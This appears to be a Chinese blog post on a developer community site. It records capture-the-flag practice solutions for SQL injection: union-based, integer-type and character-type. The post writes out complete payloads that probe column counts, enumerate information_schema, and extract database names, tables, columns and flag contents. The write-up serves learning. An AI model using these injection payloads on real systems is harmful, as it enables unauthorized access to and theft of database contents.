首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >SQL注入

SQL注入

作者头像
故里[TRUE]
发布2023-04-16 13:38:30
发布2023-04-16 13:38:30
1.9K0
举报

关于SQL的刷题记录

SQL注入

首先查看源码发现name为id,并且是post传参

用hackbar查查有几个数据,发现只有三个

测试发现当post内容加时,内容就显示不出来

而加’#,发现又正常显示

这个题完全就是考察SQL注入,这个题目前来看有两种解决方法,在这里记录一下。

第一种解决方法

首先先说点知识,1、MySql在5.0版本后新增一个叫information_schema的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。利用这个可以获取表名,列名等 2、查询中用到的group_concat()函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了 先查个字段,因为有三个数据,就用4吧order by 4#

显示依然正常,那再试试5

这个时候发现没有返回值,所以可以确定字段就是四个,接下来,爆库名id=-1' union select 1,2,3,4#,把id变为-1是因为如果id有回显的话,我们查询的内容就不能显示了,所以要换一个id没有内容的值

这样就知道每一个数值所在的位置,然后开始爆库,id=-1' union select 1,database(),user(),version()#,这个有必要说明一下,database()是查询当前数据库名,user()是为了查询当前用户名,version()是为了查询数据库版本

然后爆表名,这个是固定格式,id=-1' union select 1,group_concat(table_name),user(),version() from information_schema.tables where table_schema=database()#,得到两个表名fl4g,sc

再然后爆列明,id=-1' union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name='fl4g'#

得到列名skctf_flag

表明单引号要用英文的’',当然不加也可以,但是表名要用十六进制

最后一步就是查询想要的数据了

得到flag

第二种解决方法

sqlmap跑,目前还在了解,学会了再更!!

整数型注入

当输入1时发现有回显,并且url也发生变化

使用order by语句查询字段数

当输入3的时候发现没有回显,说明只有俩个字段数据。

使用union联合查询检测信息回显位置

代码语言:javascript
复制
id=1 union select 1,2

发现并不可以,由于页面只允许返回一行内容,可以修改参数为-1,使得需要查询的数据回显。

输入一下来获取当前数据库名

代码语言:javascript
复制
id=-1 union select 1,database()

输入一下获取所有数据库名

代码语言:javascript
复制
id=-1 union select 1,group_concat(schema_name)from information_schema.schemata

输入一下查询数据库sqli表名

代码语言:javascript
复制
id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

输入以下获取flag的所有字段名

代码语言:javascript
复制
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

输入以下获取指定数据库的表的列的内容

代码语言:javascript
复制
id=-1 union select 1,group_concat(flag) from sqli.flag

得到flag!

字符型注入

测试后发现和上边的那个整形注入一样,只有两个数据。回显只有两处:ID和Data。

联合查询

代码语言:javascript
复制
123’ union select database(),2 #
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-02-042,如有侵权请联系 cloudcommunity@tencent.com 删除
目录
  • SQL注入
    • 第一种解决方法
    • 第二种解决方法
  • 整数型注入
  • 字符型注入
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档